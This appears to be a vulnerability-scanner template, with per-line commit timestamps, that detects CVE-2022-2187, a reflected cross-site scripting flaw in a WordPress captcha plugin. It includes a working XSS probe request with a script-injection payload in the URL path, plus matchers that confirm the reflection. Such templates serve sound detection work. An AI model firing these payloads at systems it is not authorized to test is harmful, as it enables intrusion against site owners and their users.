2022-07-17 16:48:55 +00:00
id : CVE-2022-2187
info :
2022-09-16 19:50:10 +00:00
name : WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
2022-07-17 16:48:55 +00:00
author : For3stCo1d
2022-09-16 19:50:10 +00:00
severity : high
2022-07-17 16:48:55 +00:00
description : |
2022-09-16 19:50:10 +00:00
WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.
2022-07-17 16:48:55 +00:00
reference :
- https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
2022-07-18 07:07:50 +00:00
- https://wordpress.org/plugins/contact-form-7-simple-recaptcha
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2187
2022-07-19 09:44:37 +00:00
classification :
2022-09-16 19:50:10 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
2022-07-19 09:44:37 +00:00
cwe-id : CWE-79
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-2187
2022-08-27 04:41:18 +00:00
tags : wpscan,cve,cve2022,wordpress,xss,wp-plugin,wp
2022-07-17 16:48:55 +00:00
requests :
- method : GET
path :
2022-07-18 07:07:50 +00:00
- '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'
2022-07-17 16:48:55 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-07-18 07:07:50 +00:00
words :
- "</script><script>alert(document.domain)</script>"
- "Contact Form 7"
condition : and
2022-07-17 16:48:55 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2022-09-16 19:50:10 +00:00
# Enhanced by mp on 2022/09/14